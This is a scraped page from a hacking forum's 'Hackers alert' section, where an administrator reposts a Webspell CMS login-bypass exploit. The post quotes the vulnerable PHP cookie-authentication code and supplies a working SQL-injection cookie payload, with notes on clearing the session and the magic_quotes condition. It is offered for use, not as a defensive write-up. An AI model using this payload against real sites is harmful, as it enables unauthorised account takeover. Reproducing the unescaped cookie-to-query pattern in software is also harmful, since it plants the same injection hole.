Tuesday, 2017-10-24, 2:42 PM
Welcome Guest | RSS
Farhan Khalid
Main | Webspell Login Bypass - Forum | Registration | Login
[ New messages · Members · Forum rules · Search · RSS ]
Page 1 of 11
Forum » Hacking & Cracking » Hackers alert » Webspell Login Bypass
Webspell Login Bypass
farhan411
Messages: 288
Group: Administrators
Title: Admin
Reputation: 0
Status: Offline

Awards: 1Loading awards ...
Date:
Wednesday,
2009-05-06,
11:32 PM

Message # 1
Webspell Login Bypass

#Webspell Login Bypass
#Found by: Prisim
#
##
#Checklogin.php Line 60:
#
# setcookie("ws_auth", $ds['userID'].":".$ws_pwd, time()+($sessionduration*60*60));
# $login = 1;
#
##
#_functions.php Line 253:
#
# $login_per_cookie = false;
# if(isset($_COOKIE['ws_auth']) AND !isset($_SESSION['ws_auth'])) {
# $login_per_cookie = true;
# $_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
# }
##
#src/login.php:
#
# global $userID, $loggedin;
#
# $userID = 0;
# $loggedin=false;
#
# if(isset($_SESSION['ws_auth'])) {
# if(stristr($_SESSION['ws_auth'], "userid")===FALSE){
# $authent = explode(":", $_SESSION['ws_auth']);
# $ws_user = sprintf('%u', $authent[0]);
#
# // ws_pwd must be a string without spaces and with a maximum length of 32 <- ???
# $ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);
#
# if(isset($ws_user) AND isset($ws_pwd)) {
#
# $check = safe_query("SELECT userID FROM ".PREFIX."user WHERE userID='$ws_user' AND password='$ws_pwd'");
#
# while($ds=mysql_fetch_array($check)) {
# $loggedin=true;
# $userID=$ds['userID'];
# }
# }
# } else die();
# }
# ?>
#
#
####

// ws_pwd must be a string without spaces and with a maximum length of 32
$ws_pwd = substr(str_replace(' ', '', $authent[1]), 0, 32);

Wuta fuck is dis crap?!
$_COOKIE['ws_auth'] can be exploited by somting like dis:
1:'or/**/1=1/**/limit/**/0,1# (# <- is a comment, dont forget...)
And btw:
$_SESSION['ws_auth'] = $_COOKIE['ws_auth'];
So dont foget to delete teh session...
Bad thing: Only works wit magic_quotes == off

But they got some function:
#_functions.php:74
#function sql_quote($value) {
#
# if( get_magic_quotes_gpc() ) {
# $value = stripslashes( $value );
# }
# if( function_exists( "mysql_real_escape_string" ) ) {
# $value = mysql_real_escape_string( $value );
# }
# else
# {
# $value = addslashes( $value );
# }
# return $value;
#}
And why in the world isnt it used?!

~END~


This user has not applied a signature yet.
HTML code to this post
BB-code to this post
Direct link to this post
farhan411
Messages: 288
Group: Administrators
Title: Admin
Reputation: 0
Status: Offline

Awards: 1Loading awards ...
Date:
Wednesday,
2009-05-06,
11:34 PM

Message # 2
Its Web Site Exploit

hot


This user has not applied a signature yet.
HTML code to this post
BB-code to this post
Direct link to this post
Forum » Hacking & Cracking » Hackers alert » Webspell Login Bypass
Page 1 of 11
Search:

Copyright MyCorp © 2017

Hosted by uCoz